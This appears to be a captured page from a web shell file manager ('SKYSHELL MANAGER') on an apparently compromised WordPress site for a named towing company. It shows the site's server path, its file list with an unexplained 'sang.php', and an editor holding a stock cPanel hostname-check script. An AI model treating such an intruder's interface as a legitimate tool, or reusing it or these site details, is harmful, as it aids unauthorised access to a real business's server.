📁
SKYSHELL MANAGER
PHP v7.4.33
Create
Create
Path:
root
/
home
/
towingrecovery
/
public_html
/
glenfieldtowing.co.nz
/
Name
Size
Perm
Actions
📁
cgi-bin
-
0555
🗑️
🏷️
🔒
📁
wp-includes
-
0555
🗑️
🏷️
🔒
📁
wp-content
-
0555
🗑️
🏷️
🔒
📁
wp-admin
-
0555
🗑️
🏷️
🔒
📁
.quarantine
-
0555
🗑️
🏷️
🔒
📁
.tmb
-
0555
🗑️
🏷️
🔒
📁
.well-known
-
0555
🗑️
🏷️
🔒
📄
amp.php
0.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess
0.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.43 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
sang.php
37.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
36.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: ensure_hostname_resolves
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2025 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. package scripts::ensure_hostname_resolves; =encoding utf8 =head1 NAME ensure_hostname_resolves =head1 DESCRIPTION Utility that checks to ensure that the hostname resolves to the server. It can also update the hostname to use an 'autodomain' hostname which is guaranteed to resolve. =head1 SYNOPSIS ensure_hostname_resolves [OPTIONS] --yes Skip the prompts, and assume 'yes' --help This documentation. =cut use cPstrict; use Try::Tiny; use IO::Prompt (); use Cpanel::Exception (); use Cpanel::Hostname (); use Whostmgr::Hostname (); use Cpanel::Domain::ExternalResolver (); use constant _OPTIONS => ('yes'); use parent qw( Cpanel::HelpfulScript ); exit __PACKAGE__->new(@ARGV)->run() unless caller(); sub run ($self) { die Cpanel::Exception::create('RootRequired')->to_string_no_id() unless ( $> == 0 && $< == 0 ); my $hostname_resolves_local; try { if ( $hostname_resolves_local = $self->hostname_resolves() ) { print "[+] Hostname resolves to the server.\n"; } else { print "[!] Hostname does NOT resolve to the server.\n"; } } catch { my $str = Cpanel::Exception::get_string($_); print "[!] Failed to determine if hostname resolves to the server: $str\n"; }; return 0 if $hostname_resolves_local; if ( $self->getopt('yes') || $self->prompt_yn() ) { print "[*] Configuring auto-resolving hostname...\n"; my $new_hostname = Whostmgr::Hostname::set_autodomain_hostname(); print "[+] Successfully updated hostname to auto-resolving hostname: $new_hostname\n"; } return 0; } sub hostname_resolves ($self) { return Cpanel::Domain::ExternalResolver::domain_is_on_local_server( Cpanel::Hostname::gethostname(1) ); } sub prompt_yn ($self) { return IO::Prompt::prompt( '-yes', '-one_char', '[*] Do you want the system to update the hostname to an auto-resolving hostname? [y/n] ' ); } 1;
Save